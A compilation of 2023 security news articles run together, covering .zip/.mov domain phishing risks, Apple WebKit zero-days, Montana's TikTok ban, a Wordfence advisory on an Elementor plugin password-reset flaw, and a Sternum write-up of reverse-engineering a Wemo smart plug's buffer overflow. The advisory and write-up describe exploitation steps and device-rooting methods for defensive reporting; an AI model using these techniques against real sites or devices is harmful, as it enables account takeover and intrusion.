While the company’s new top-level domains could be used in phishing attacks, security researchers are divided on how big of a problem they really pose.

At the beginning of May, Google released eight new top-level domains (TLDs)—the suffixes at the end of URLs, like “.com” or “.uk.” These little addendums were developed decades ago to expand and organize URLs, and over the years, the nonprofit Internet Corporation for Assigned Names and Numbers (ICANN) has loosened restrictions on TLDs so organizations like Google can bid to sell access to more of them. But while Google's announcement included light-hearted offerings like “.dad” and “.nexus,” it also debuted a pair of TLDs that are uniquely poised to invite phishing and other types of online scamming: “.zip” and “.mov”.

The two stand out because they are also common file extension names. The former, .zip, is ubiquitous for data compression, while .mov is a video format developed by Apple. The concern, which is already starting to play out, is that URLs that look like file names will open up even more possibilities for digital scams like phishing that trick web users into clicking on malicious links that are masquerading as something legitimate. And the two domains could also expand the problem of programs mistakenly recognizing file names as URLs and automatically adding links to the file names. With this in mind, scammers could strategically buy .zip and .mov URLs that are also common file names—think, springbreak23.mov—so online references to a file with that name could automatically link to a malicious website.

“Attackers will use whatever they can to get inside an organization,” says Ronnie Tokazowski, a longtime phishing researcher and principal threat adviser at the cybersecurity firm Cofense. “Man, this all goes back a long time now. Nothing has changed.”

Researchers have already started seeing malicious actors buying up strategic .zip URLs and begin testing them in phishing campaigns. But reactions are mixed on how much of a negative impact .zip and .mov domains will have when scams that prey on URL confusion are already an inveterate threat. Additionally, proxies and other traffic management tools already deploy anti-phishing protections to cut down on the risks if users mis-click—and .zip and .mov will simply be incorporated into those defenses.

“The risk of confusion between domain names and file names is not a new one. For example, 3M’s Command products use the domain name command.com, which is also an important program on MS DOS and early versions of Windows,” Google told WIRED in a statement. “Applications have mitigations for this (such as Google Safe Browsing), and these mitigations will hold true for TLD’s such as .zip.” The company added that Google Registry already includes mechanisms to suspend or remove malicious domains across all of the company's top-level domains. “We will continue to monitor the usage of .zip and other TLDs, and if new threats emerge we will take appropriate action to protect users,” the company said.

Offering more TLDs broadens the number of URLs that are available to people. This means you have more choices and don't necessarily have to pay a premium to buy the site name you want from an existing owner or speculator who bought up a bunch of historic URLs. And some in the security community feel that, given the already extensive risk of phishing attacks, additions like .zip and .mov add negligible additional danger.

“I don't agree with the assertion that the new TLDs will increase the effectiveness of phishing in any meaningful way—primarily because people are already so easily fooled by URLs,” says security researcher Troy Hunt, who runs the breach-tracking service HaveIBeenPwned. “Not only can we, myself included, not tell the difference between so many ambiguous characters, we also usually have no idea what the correct URL is for many services. I bet you this all blows over before you know it with no incidents of consequence.”

Some researchers feel strongly, though, that a company like Google, which invests so much in anti-scam and anti-phishing work, could have simply opted not to offer these particular TLDs. Even if other top-level domains exist that are also file extensions, they argue that the world doesn't need more of these overlaps.

“Nobody said this was new. In fact, half the issue is that it’s not new,” says security researcher Marcus Hutchins. “We’ve had this issue in the past, and Google has just gone and caused the same problem again. It really seems like they created a big usability and security issue for downstream providers to clean up, all for no reason other than a low-effort money grab.”

The Real Risks in Google’s New .Zip and .Mov Domains

Plus: The FBI gets busted abusing a spy tool, an ex-Apple engineer is charged with corporate espionage, and collection of airborne DNA raises new privacy risks.

OpenAI’s new ChatGPT app for iOS couldn’t have arrived soon enough. Its absence left open a void in Google Play and Apple’s App Store, which have been quietly filling with scam apps that sucker users into paying for weekly or monthly subscriptions, according to research from security firm Sophos. The official ChatGPT app, meanwhile, is free, and an Android version is arriving soon.

But just because something is free doesn’t make it good. Telly TV is offering 55-inch televisions for $0 to the first 500,000 people who join its reservation list. Of course, “free” comes with a catch: The company reserves the right to collect heaps of data about your viewing habits, and the TV includes a built-in camera that can track your movements. Oh, and it has a second screen primarily for bombarding you with ads. But hey, nothing beats free, right?

Elsewhere in the world of tech that has people freaked out, Montana this week became the first state in the US to ban TikTok. The ban, which goes into effect in 2024, is already facing legal challenges on the grounds that it violates TikTok users’ First Amendment rights. Even if the ban remains, getting around it is trivial—just use a VPN.

The families of four people killed in a racism-fueled mass shooting at a grocery store in Buffalo, New York, are suing a slew of companies the plaintiffs say bear some responsibility for the massacre. The companies include Meta, Alphabet, Amazon, Snap, Reddit, and 4chan. Also on the list of defendants is Good Smile, a Japanese toy company that in 2015 purchased a 30 percent stake in 4chan, where the gunman sought advice on how to carry out his attack.

The United States Postal Service doesn’t just deliver mail—it also carries out warrantless mass surveillance. A bipartisan group of US senators this week launched an effort to curb the use of so-called mail covers, which USPS investigators use to gather the information on the outside of letters and packages. The senators say the practice, which does not require a court order, “threatens both our privacy and First Amendment rights.” 

In the UK, the government is working to expand a controversial surveillance program that collects web histories and other “internet connection records” on millions of people. The program began after the 2016 passage of the Investigatory Powers Act, often called the Snooper’s Charter by privacy advocates and other critics. Records show that the program appears to be moving out of its trial phase and may be rolled out nationally. 

Meanwhile, researchers at security firm Kaspersky released new details about a mysterious hacker group that has carried out operations in Ukraine for far longer than people realized. Dubbed Red Stinger by researchers at Malwarebytes, the group has targeted both pro-Ukraine and pro-Russian figures as part of apparent espionage operations. Initially linked to hacks dating back to 2020, researchers now believe Red Stinger has been active for at least 15 years.

But wait, there’s more. Each week we round up the security stories we didn’t cover in depth ourselves. Click on the headlines to read the full stories. And stay safe out there.

Most TikTok challenges you hear about are fake. This one, however, is deadly serious. Automaker Huyandai this week agreed to pay around $200 million to customers whose vehicles were stolen following a viral TikTok challenge that exposed a major security flaw in some Hyundai and Kia vehicles. 

The challenge began after the user “Kia Boys” posted a video to TikTok showing that it was possible to hot-wire the vulnerable vehicles using a USB cable. According to Engadget, at least 14 crashes and eight deaths have been linked to the challenge. Hyundai will pay affected customers up to $6,125 for stolen vehicles and up to $3,375 to cover the cost of damage caused by those who took advantage of the flaw. The company also has an “anti-theft update” available for affected vehicles. Check to see if your vehicle is impacted here.

The US Foreign Intelligence Surveillance Court yesterday unsealed an April 2022 opinion that exposes rampant FBI misuse of the so-called Section 702 database, a vast trove of electronic communication records used by the bureau and the National Security Agency. The court found that the FBI improperly queried the database, established under Section 702 of the Foreign Intelligence Surveillance Act, more than 287,000 times in 2020 and 2021. Targets of the FBI’s searches include January 6 demonstrators, people arrested while protesting the police murder of George Floyd in Minneapolis, and some 19,000 American political donors to an unidentified US congressional campaign. 

Section 702 gives the US government the authority to collect communications of targets overseas. Communications of Americans can get swept into the database when they communicate with someone outside the US. An audit released by the Office of the Director of National Intelligence late last year found several similar instances of the FBI misusing the Section 702 database to perform searches on American citizens, including US congressman Darin LaHood. Following both the ODNI audit and this week’s release of the court’s opinion, the FBI says the abuse was the result of a “misunderstanding” and vowed that it has fixed the problem. Regardless, Section 702 will expire at the end of the year without reauthorization from Congress, which the FBI’s repeated and widespread misuse could jeopardize.

The US Department of Justice on Tuesday announced charges against a former Apple engineer accused of stealing the company’s source code related to its self-driving-car technology. Weibao Wang allegedly stole the “sensitive” documents in the final days of his employment at Apple in April 2018. Wang left Apple five months after he signed an agreement to work for a US-based subsidiary of a company headquartered in China, according to the Justice Department. After US law enforcement searched his Mountain View, California, home in June 2018, 35-year-old Wang fled to China, the Justice Department says. If convicted, Wang faces up to 10 years in prison plus fines.

Everyone knows how much data can be collected about you anytime you’re online. But a bigger concern may be what someone can collect about you anytime you’re anywhere. That’s the warning in a new research paper, which found that it’s possible to collect “environmental DNA”—traces of genetic material floating in the air or liquids, also called eDNA—that can be linked to a person’s medical or ancestral details. Legal experts who spoke to the _The New York Times_ warn that if police or other government authorities begin collecting eDNA, as scientists studying animals have done for a decade, it could create widespread privacy and civil liberties abuses.

A TikTok ‘Car Theft’ Challenge Is Costing Hyundai $200 Million

In an advisory released by the company, Apple revealed patches for three previously unknown bugs it  says may already have been used by attackers.

Three zero-day vulnerabilities — tracked as CVE-2023-32409, CVE-2023-28204, and CVE-2023-32373 — were found in Apple's WebKit browser platform and affect iOS, macOS, and iPad products.

These vulnerabilities affect "iPhone 8 and later, iPad Pro (all models), iPad Air 3rd generation and later, iPad 5th generation and later, and iPad mini 5th generation and later," Apple said in one of its new advisories.

CVE-2023-32409 is a vulnerability in which a remote attacker is "able to break out of Web Content sandbox," according to Apple. The vendor said CVE-2023-28204 entails processing Web content that may disclose sensitive information, and CVE-2023-32373 warns that processing "maliciously crafted Web content may lead to arbitrary code execution."

Apple said it's aware that the bugs may have already been actively exploited by threat actors but did not elaborate on any of these attacks.

While Apple reported that two of the three vulnerabilities were reported by anonymous researchers after they were first addressed, one of them — CVE-2023-32409 — was reported by Clément Lecigne, a security engineer in Google's Threat Analysis Group, and Donncha Ó Cearbhaill, a security researcher and hacker in Amnesty International's Security Lab.

Keep up with the latest cybersecurity threats, newly-discovered vulnerabilities, data breach information, and emerging trends. Delivered daily or weekly right to your email inbox.

Subscribe

Apple Patches 3 Zero-Days Possibly Already Exploited

Montana’s TikTok ban will be impossible to enforce. But it could encourage copycat crackdowns against the social media app.

Montana’s TikTok ban is a technological nightmare. Experts warn it will be incredibly difficult for officials to enforce and incredibly easy for almost anyone to get around. But more than that, it’s a move that undermines America’s history of fostering an open, democratic internet.

The law, which comes into effect at the start of 2024, will both block TikTok from mobile app stores in Montana while also banning TikTok from operating in the state. It’s a move that brings with it a host of First Amendment concerns, and may never be enacted if legal challenges block it. But, if it does go ahead, experts warn it is likely to be a mess.

“From a technical perspective, even if this was a national law, there would be challenges to try to make this work,” says John Morris, principal, US internet policy and advocacy at the Internet Society, a nonprofit that promotes an open internet. But because people can use VPNs to change their browsing location, it’s even harder to ensure a local ban will work. “State boundaries are not something that’s built into the internet.” 

The new law is the first on the books following years of anxiety in the US around TikTok as a national security risk. That perceived threat looms because TikTok’s parent company, ByteDance, is Chinese-owned. TikTok has also become one of the most popular apps in the world, with 150 million users in the US alone. 

The Montana law calls for $10,000 penalties to be levied on mobile app stores when they allow people to download or use TikTok. TikTok could also be fined for operating in the state. The fines would not apply to people who download the app. 

The US has historically advocated for an open internet and criticized countries that censor online access. China is successful in its mass censorship because of its Great Firewall—a system unlike anything in the US, and one that Montana could not build for itself. Other countries, including Indonesia and Pakistan, have banned TikTok and then rescinded the blocks. India’s TikTok ban, introduced in June 2020, is still in place. Montana, along with other states, and the US federal government have blocked TikTok from government devices, but geoblocking from specific regions within the US would prove much harder.

An older version of the Montana bill would have forced internet services providers to block TikTok in the state. But ISPs said it would be impossible to do so, and the requirement was removed. Mobile app providers like Apple and Google did not respond to requests for comment. And while Montana has now passed the law banning TikTok, it remains to be seen how it plans to do so.

Montana officials have suggested tech that restricts online sports gambling, which remains illegal in more than a dozen US states, could be employed to boot TikTok out of its borders. If anyone reports a violation, officials would investigate it, and if a breach was verified, cease-and-desist letters would be sent to the companies, the state attorney general’s office told the Associated Press. 

Such blocks are regularly circumvented using VPNs. And VPNs have their own security issues—people who use them can become targets for hackers. Some VPNs also keep logs of user data, which can be accessed by law enforcement with subpoenas. 

But there’s no way for TikTok to know whether people are using VPNs within Montana to access the social network, which makes this law “very complicated,” and “very difficult to enforce” if TikTok is the liable party rather than the service provider, says Kevin Du, a professor of electrical engineering and computer science at Syracuse University. 

In response to the ban, TikTok said it would “continue working to defend the rights” of users inside and outside Montana. The company has also called the ban unlawful. The law was also criticized by the American Civil Liberties Union, which says it violates “free speech rights under the guise of national security and lays the groundwork for excessive government control over the internet.” TikTok creators, who are often semipublic figures, have already sued the state of Montana, claiming the new law violates free speech rights.  

It might make up a tiny slice of TikTok’s global user base, but if Montana’s ban stands, it could influence legislation in other US states. A nationwide ban remains both complex and unlikely.

How You, or Anyone, Can Dodge Montana’s TikTok Ban

Apple on Thursday rolled out security updates to iOS, iPadOS, macOS, tvOS, watchOS, and the Safari web browser to address three new zero-day flaws that it said are being actively exploited in the wild.
The three security shortcomings are listed below -

CVE-2023-32409 - A WebKit flaw that could be exploited by a malicious actor to break out of the Web Content sandbox. It was addressed with

Zero-Day / Endpoint Security

Apple on Thursday rolled out security updates to iOS, iPadOS, macOS, tvOS, watchOS, and the Safari web browser to address three new zero-day flaws that it said are being actively exploited in the wild.

The three security shortcomings are listed below -

*   **CVE-2023-32409** - A WebKit flaw that could be exploited by a malicious actor to break out of the Web Content sandbox. It was addressed with improved bounds checks.
*   **CVE-2023-28204** - An out-of-bounds read issue in WebKit that could be abused to disclose sensitive information when processing web content. It was addressed with improved input validation.
*   **CVE-2023-32373** - A use-after free bug in WebKit that could lead to arbitrary code execution when processing maliciously crafted web content. It was addressed with improved memory management.

The iPhone maker credited Clément Lecigne of Google's Threat Analysis Group (TAG) and Donncha Ó Cearbhaill of Amnesty International's Security Lab for reporting CVE-2023-32409. An anonymous researcher has been acknowledged for reporting the other two issues.

It's worth noting that both CVE-2023-28204 and CVE-2023-32373 were patched as part of Rapid Security Response updates – iOS 16.4.1 (a) and iPadOS 16.4.1 (a) – the company released at the start of the month.

There are currently no additional technical specifics about the flaws, the nature of the attacks, or the identity of the threat actors that may be exploiting them.

UPCOMING WEBINAR

Zero Trust + Deception: Learn How to Outsmart Attackers!

Discover how Deception can detect advanced threats, stop lateral movement, and enhance your Zero Trust strategy. Join our insightful webinar!

Save My Seat!

That said, such weaknesses have been historically leveraged as part of highly-targeted intrusions to deploy mercenary spyware on the devices of dissidents, journalists, and human rights activists, among others.

The latest updates are available for the following devices -

*   **iOS 16.5 and iPadOS 16.5** - iPhone 8 and later, iPad Pro (all models), iPad Air 3rd generation and later, iPad 5th generation and later, and iPad mini 5th generation and later
*   **iOS 15.7.6 and iPadOS 15.7.6** - iPhone 6s (all models), iPhone 7 (all models), iPhone SE (1st generation), iPad Air 2, iPad mini (4th generation), and iPod touch (7th generation)
*   **macOS Ventura 13.4** - macOS Ventura
*   **tvOS 16.5** - Apple TV 4K (all models) and Apple TV HD
*   **watchOS 9.5** - Apple Watch Series 4 and later
*   **Safari 16.5** - macOS Big Sur and macOS Monterey

Apple has so far remediated a total of six actively exploited zero-days since the start of 2023. Earlier this February, the company plugged a WebKit flaw (CVE-2023-23529) that could lead to remote code execution.

Then last month, it shipped fixes for a pair of vulnerabilities (CVE-2023-28205 and CVE-2023-28206) that allowed for code execution with elevated privileges. Lecigne and Ó Cearbhaill were credited with reporting the security defects.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

WebKit Under Attack: Apple Issues Emergency Patches for 3 New Zero-Day Vulnerabilities

On May 11 2023, Essential Addons for Elementor, a WordPress plugin with over one million active installations, released a patch for a critical vulnerability that made it possible for any unauthenticated user to reset arbitrary user passwords, including user accounts with administrative-level access. Versions 5.7.1 and below are affected.

    Attackers are already exploiting the critical Authentication Bypass Vulnerability in Essential Addons for Elementor.On May 11 2023, Essential Addons for Elementor, a WordPress plugin with over one million active installations, released a patch for a critical vulnerability that made it possible for any unauthenticated user to reset arbitrary user passwords, including user accounts with administrative-level access. This vulnerability was discovered and responsibly disclosed by security researcher Rafie Muhammed.Over the past few days we’ve seen millions of probing attempts for the plugin’s readme.txt file, which are likely to be attackers probing for the presence of the plugin to build a target site exploit list, along with over 6,900 blocked exploit attempts. Our attack data is limited due to the fact that the rule only triggers if the plugin is installed on a site with a vulnerable version, but a programmatic exploit was made public on Github on May 14th. This is the type of vulnerability that tends to see widespread attacks due to a combination of a large install base, ease of exploitation, and severity of impact, and we anticipate that exploit attempts will only ramp up from here.Wordfence Premium, Care, and Response customers received a firewall rule the same day the issue was disclosed on May 11, 2023. Wordfence free users will receive that same protection 30 days later on June 20, 2023. Considering how easily this vulnerability can be successfully exploited, we highly recommend all users of the plugin update ASAP to ensure their site is not compromised by this vulnerability.This email content has also been published on our blog and you're welcome to post a comment there if you'd like to join the conversation. Or you can read the full post in this email.READ THIS POST ON THE BLOGVulnerability DetailsDescription: Essential Addons for Elementor <= 5.7.1 – Unauthenticated Arbitrary Password Reset to Privilege Escalation Affected Plugin: Essential Addons for Elementor Plugin Slug: essential-addons-for-elementor-liteAffected Versions: <= 5.7.1CVE ID: CVE-2023-32243CVSS Score: 9.8 (Critical)CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HResearcher/s: Rafie Muhammed Fully Patched Version: 5.7.2The vulnerability patched in Essential Addons for Elementor allowed for attackers to reset passwords for arbitrary accounts on any of the one million WordPress sites running the plugin. This was due to the fact that the reset_password function did not adequately validate a password reset request with a password reset key, so attackers could simply supply a valid username, obtain a valid nonce from the site’s homepage, input random data for the remaining fields, and reset the supplied users password to whatever they chose in one simple request.WordPress doesn’t consider usernames to be sensitive information which means attackers can easily enumerate a site looking for valid usernames. Additionally, site owners often forget to change the default username making it possible for attackers to use common default usernames such as ‘admin.’ This makes it much easier for attackers to uncover valid accounts that they can compromise in order to elevate their privileges on the site. Once the attacker is logged in as an administrator, they have free rein to perform actions like installing plugins and backdoors to further infect the site, server, and any unsuspecting visitors.A Look at the Attack DataPlugin Discovery ProbingThe first interesting trend we noticed is that immediately following the disclosure of the vulnerability on May 11, 2023 readme.txt probing attempts for Essential Addons for Elementor immediately spiked and remained relatively higher than normal over the course of a few days. While there are services that probe installation data for legitimate purposes, we believe this data indicates that attackers began looking for vulnerable sites as soon as the vulnerability was disclosed. Over 5,000,000 readme.txt probs were made just the day after disclosure.readmeprob Top Offending IP Addresses Engaging in Discoveryreadmeprobip Top Offending IP Addresses And Total Number of Exploits BlockedIn the past 5 days, we have blocked over 6,900 attacks with the top attacking IP being 78.128.60.112. We have also detected and blocked a few hundred exploit attempts utilizing the exploit that was released two days ago. Again, our data is limited due to the nature of the WAF rule, however, it’s worth noting that all of the 6,900 requests we blocked would have likely led to site compromises if they did not have Wordfence Premium installed.exploitattempts Indicators of CompromiseOne obvious sign of infection is if a site’s administrator is unable to log in with the correct password as it may have been changed as a result of this vulnerability, and the site is running Essential Addons for Elementor version 5.7.1 or older. We also recommend checking for newly added malicious administrators, as these may have been added to maintain persistence.We have begun tracking infections on sites running a vulnerable version of the plugin, and though no clear pattern has yet emerged, sites running outdated versions of the plugin were already at significantly higher risk of infection than our average user.User Agents- The public exploit uses the following User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299Look for requests in a site’s access log with the following originating IP Addresses:- 78.128.60.112- 23.224.195.51- 212.113.119.6- 193.233.232.243- 91.193.43.151- 51.77.200.137- 2a0e:d602:1:4c8::2- 103.187.5.198- 2a0e:d602:1:bae::2- 103.149.137.18ConclusionIn today’s article, we covered a Critical-severity vulnerability in Essential Addons for Elementor that allows attackers to easily take over websites by resetting the password of any user, including administrators. We have begun tracking attack data for this vulnerability and expect attacks to ramp up as the vulnerability is trivial to exploit, has a wide install base, and is highly impactful, making it incredibly attractive to attackers.Wordfence Premium, Care, and Response customers received protection against this vulnerability via a firewall rule on May 11, 2023, and Wordfence free users will receive the same protection 30 days later on June 20, 2023.Even if you have already received a firewall rule for this issue we urge you to ensure that your site is updated to at least version 5.7.2 in order to maintain normal functionality, as this vulnerability is severe. If you have friends or colleagues running Essential Addons for Elementor, be sure to forward this advisory to them, as hundreds of thousands of sites still remain unprotected and unpatched.If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both these products include hands-on support in case you need further assistance.If you are a security researcher, you can responsibly disclose your finds to us and obtain a CVE ID and get your name on the Wordfence Intelligence leaderboard. I’d like to say a special thank you to my colleague Ramuel Gall, Senior Security Researcher at Wordfence, for his assistance on this research and post.

WordPress Elementor Lite 5.7.1 Arbitrary Password Reset

Apple has announced that it prevented over $2 billion in potentially fraudulent transactions and rejected roughly 1.7 million app submissions for privacy and security violations in 2022.
The computing giant said it terminated 428,000 developer accounts for potential fraudulent activity, blocked 105,000 fake developer account creations, and deactivated 282 million bogus customer accounts. It

Mobile Security / App Sec

Apple has announced that it prevented over $2 billion in potentially fraudulent transactions and rejected roughly 1.7 million app submissions for privacy and security violations in 2022.

The computing giant said it terminated 428,000 developer accounts for potential fraudulent activity, blocked 105,000 fake developer account creations, and deactivated 282 million bogus customer accounts. It further noted that it thwarted 198 million attempted fraudulent new accounts prior to their creation.

In contrast, Apple is estimated to have booted out 802,000 developer accounts in 2021. The company attributed the decline to new App Store "methods and protocols" that prevent the creation of such accounts in the first place.

"In 2022, Apple protected users from nearly 57,000 untrustworthy apps from illegitimate storefronts," the company emphasized. "These unauthorized marketplaces distribute harmful software that can imitate popular apps or alter them without the consent of their developers."

It also touted its App Review process as having been able to flag apps using malicious code designed to steal users' credentials from third-party services as well as those that impersonated legitimate financial management platforms. A total of 6.1 million app submissions were reviewed.

"Over 153,000 app submissions rejected from the App Store last year were found to be spam, copycats, or misleading, and nearly 29,000 submissions were rejected for containing hidden or undocumented features," Apple said. "Upward of 400,000 app submissions were rejected for privacy violations."

On a related note, more than 147 million fraudulent ratings and reviews in the App Store were detected and blocked in 2022, with Apple intercepting close to 3.9 million attempts to install or launch apps distributed illicitly through its Developer Enterprise Program over the past 30 days alone.

Last but not least, Cupertino highlighted that it also blocked nearly 3.9 million stolen credit cards from being used to make fraudulent purchases, and banned 714,000 accounts from transacting again. In all, $2.09 billion in fraudulent transactions on the App Store were blocked in 2022.

The numbers come amid speculations that Apple may soon enable sideloading and allow third-party app stores on iOS devices to comply with the European Union's Digital Markets Act (DMA), which went into effect on November 1, 2022.

The disclosure also arrives close on the heels of a similar report from Google, which said it dismantled 173,000 bad accounts and blocked 1.43 million harmful apps from being published to the Play Store in 2022. It also fended off more than $2 billion in fraudulent and abusive transactions.

UPCOMING WEBINAR

Learn to Stop Ransomware with Real-Time Protection

Join our webinar and learn how to stop ransomware attacks in their tracks with real-time MFA and service account protection.

Save My Seat!

Despite these ongoing efforts by Apple and Google, threat actors have found a variety of ways to bypass security protections and publish their apps on the official app stores, often submitting innocuous apps to get past the vetting process and subsequently updating them with malicious functionality.

Earlier this February, app development company Mysk uncovered sketchy two-factor authentication (2FA) apps – one of them ranking at number five for "authenticator app" in the US App Store – that trick users into subscribing to a weekly or annual plan. Similar scam apps were reported in 2022.

"As bad actors evolve their dishonest tactics and methods of deception, Apple supplements its anti-fraud initiatives with feedback gleaned from a myriad of channels — from news stories to social media to AppleCare calls — and will continue to develop new approaches and tools designed to prevent fraud from harming App Store users and developers," the company said.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Apple Thwarts $2 Billion in App Store Fraud, Rejects 1.7 Million App Submissions

A stack-based buffer overflow in the ChangeFriendlyName() function of Belkin Smart Outlet V2 F7c063 firmware_2.00.11420.OWRT.PVT_SNSV2 allows attackers to cause a Denial of Service (DoS) via a crafted UPNP request.

Part of our work at Sternum includes constant security research of IoT vulnerabilities to better understand IoT security gaps, boost the security capabilities of our platform and help device manufacturers improve their security postures.

In this post, we wanted to provide a behind-the-scenes look at our work and talk about our latest discovery—a buffer overflow vulnerability (CVE-2023-27217) in a Wemo Mini Smart Plug V2 (model F7C063) device.

Below, we will share the story of how we were able to reverse-engineer the device, gain firmware access, and leverage it to discover the security flaw.

Furthermore, we will demonstrate how this vulnerability could be exploited for remote command execution and offer some suggestions for security best practices that could have prevented the issue.

**TL;DR**

This will be a long post so as a public service, here are key points:

*   Wemo Mini Smart Plug V2 is a popular consumer device that helps users remote-control electric devices.
*   The device is managed by a mobile application that allows its user to change the device name (a.k.a. ‘FriendlyName’).
*   The name length is limited to 30 characters or less, but this rule is only enforced by the app itself.
*   Through reverse engineering, we saw that circumventing the character limit resulted in a buffer overflow.
*   Through experimentation, we learned that we could obtain a measure of control and predictability over how the overflow occurred.
*   Leveraging these findings, we were able to demonstrate how the vulnerability can be used for command injection.
*   We reached out to Belkin (the device manufacturer) with our findings. However, the company informed us that the device is at the end of its life and will not be patched. Meanwhile, it’s safe to assume that many of these devices are still deployed in the wild.
*   Following the company’s response, we reached out to MITRE and informed them of the vulnerability, leading to them issuing CVE-2023-27217.
*   We recommend that device users will take some precautions, specifically limiting the device’s exposure to the Internet and internal/sensitive networks.

**Wemo Mini Smart Plug: Simple and Popular**

The “star of the show” is a Wemo Mini Smart Plug, a simple and compact device built to provide remote control over lights and simple appliances (e.g., fan lamps) via a mobile app. The app uses Wi-Fi for communication and integrates with Alexa, Google Assistant, and Apple Home Kit while offering some additional features—for instance, a scheduling option.

_Wemo Mini Smart Plug (Source: Amazon)_

Our initial interest in the device came from having several of these lying around our lab and used at our homes, so we just wanted to see how safe (or not) they were to use.

It should be mentioned that, in general, this appears to be a pretty popular consumer device, judging by the 17K reviews and the 4-star rating it has on Amazon and other resources (e.g., this 4-star rating from TomsGuide). Based on these numbers, it’s safe to estimate that the total sales on Amazon alone should be in the hundreds of thousands.

**Gaining Firmware Access**

As we set out, our first step was to gain access to the device firmware, which required a bit of tinkering. We decided to document it in detail to give a glimpse into our work process.

Popping up the plastic case, we saw that the Smart Plug consisted of two boards: (1) the ‘high voltage’ board that connects to the power outlet and (2) the ‘low voltage’ board that contains the SoC, test headers, Wifi modules, etc.

Based on information available online, we knew that the previous version of the Smart Plug was running OpenWRT—a Linux distribution for embedded devices commonly used for routers—so we expected to find the same here as well.

Looking at the smaller board, we could see the MediaTek SoC and the Winbond 512MB DRAM chips, shown in the image below. The MediaTek MT7688AN features a 580Mhz MIPS24KEc CPU and a 2.4 GHz WIFI connectivity, which would allow the device to run a Linux-based OS.

On the other side of the board, we found the MXIC MX25L12835F chip, a 128MB serial flash EEPROM that held the firmware. Exactly what we were looking for!

To extract the firmware from the device, we used a simple 8-pin SOIC test clip, attaching it directly to the EEPROM, and then used a device programmer to extract the firmware, as seen below.

Once the firmware was successfully dumped, passing it through Binwalk revealed that the device was indeed running OpenWRT Linux with kernel version 3.18.27:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             uImage header, header size: 64 bytes, header CRC: 0x73B5928B, created: 2022-12-08 13:49:43, image size: 1255269 bytes, Data Address: 0x80000000, Entry Point: 0x80000000, data CRC: 0x98F10FFF, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "MIPS OpenWrt Linux-3.18.27"
64            0x40            LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 3740700 bytes
1572864       0x180000        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 3607690 bytes, 672 inodes, blocksize: 262144 bytes, created: 2022-12-08 13:49:40

A quick look at the binary blob’s strings revealed the first interesting piece of information, which was the UART (Universal Asynchronous Receiver/Transmitter) configuration:

With these details, we had the gist of what was needed to gain ‘keyboard and screen’ access to the device. However, we could not find any documentation of any UART and JTAG pinouts anywhere online, so we had to figure these out ourselves.

Going over the various test headers on the device as it was booting eventually revealed the proper pinout of the UART connection, like so:

Once we connected successfully to the UART (Universal Asynchronous Receiver/Transmitter) interface, we were greeted with an OpenWRT login prompt. Unfortunately, the password for the root password was unknown to us and not published anywhere online.

We tried running John the Ripper on the hash to brute-force our way in, but this didn’t yield any results within a reasonable amount of time. However, since we had ‘keyboard and screen’ access to the device through the UART port, we could boot it into recovery mode (a.k.a. “single user” mode) and change the root password from there, thus gaining root access to a running system.

With access to the system, we could see the programs running on the device, how they work, which ports are open, and most importantly, set the password of the root user. This enabled us to gain SSH access to the device, which in turn allowed us to upload various tools to the device, such as GDB and gdbserver for debugging purposes.

Using the ps command to see which processes were running, one immediately caught our eye: **wemoApp**, created by Belkin.

**The “FriendlyName” Vulnerability**

Having already been using the application, we knew that one of its options was to define a name for the device. Here we can see “Wemo mini 6E9,” which was the default name of the device as it came out of the box.

This option for user input already had our Spidey senses tingling, especially when we saw that changing the name in the app came with some guardrails.

For us, this immediately raised two questions: “Says who?” and “What happens if we manage to make it more than 30 characters?”

To answer both, we decided to try and connect to a device via an alternative method, using pyWeMo, a community-built Python module for the discovery and control of WeMo devices, using the UPnP (Universal Plug and Play) protocol.

With pyWeMo, we tried to change the device name to something longer than 30 characters and were successful. This answered our first question, showing that the restriction was only enforced by the app itself and _not_ by the firmware code.

Strike one! Input validation like this should not be managed just on the “surface” level.

At this point, we also learned about the variable that held the device name—the so-called ‘FriendlyName’—which you can see in the image below:

The answer to our second question came quickly after. Running some experiments, we found out that all names longer than 68 bytes (and shorter than about 300 bytes) would cause a SIGSEGV crash, sending the device into a “boot loop”, as shown in the screenshot from UART below.

Further analysis revealed that the ‘FriendlyName’ variable was handled by the **wemo\_ctrl** and **wemoApp** processes. And, in almost all cases, the segmentation faults were in heap-related functions: malloc(), free(), realloc(), etc.

In an attempt to learn more about the impact that this had on the memory structure, we started to use names with repeated character “chunks,” for instance:

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

Tracking these chunks in memory, we saw the ‘FriendlyName’ being trimmed to different sizes. In one instance, we got to the offset of 804 bytes after malloc() in **libc** (actually **libuClibc-0.9.33.2.so**) and there we saw this entry:

lw $t0, 0xC($a3)

And here it was… “$a3”, which equals 0x66656463 or “cdef” in little-endian—letters 3 to 6 of our illegally long ‘FriendlyName.’

Strike two! What this proved is that the metadata of the heap was getting corrupted, and the corrupted values are being used in subsequent heap operations. But we still couldn’t tell the exact place in which the corruption and if (and how) it could be leveraged by a bad actor.

**Pinpointing the Breaking Point**

As we continued to analyze the crashes, we noticed that in one attempt, the control flow pivoted to the heap, resulting in an illegal instruction. We also saw that the heap was executable (because of course it was…).

Moreover, on another occasion, we also saw an incident of $pc (Extended Instruction Pointer) control from an overflow.

  
_Heap memory with rwxp (read, write & execute) permissions_

To keep track of these and other results, we developed a gdb script that printed all the internal states of the heap.The idea was to pinpoint the bug that causes the heap corruption with a process similar to a binary search. We would set a breakpoint in a location we suspected to be relevant. When that breakpoint would hit, we observed the state of the heap for signs of corruption. If we find any, we would know that the corruption happened before our breakpoint. Otherwise, we looked forward.

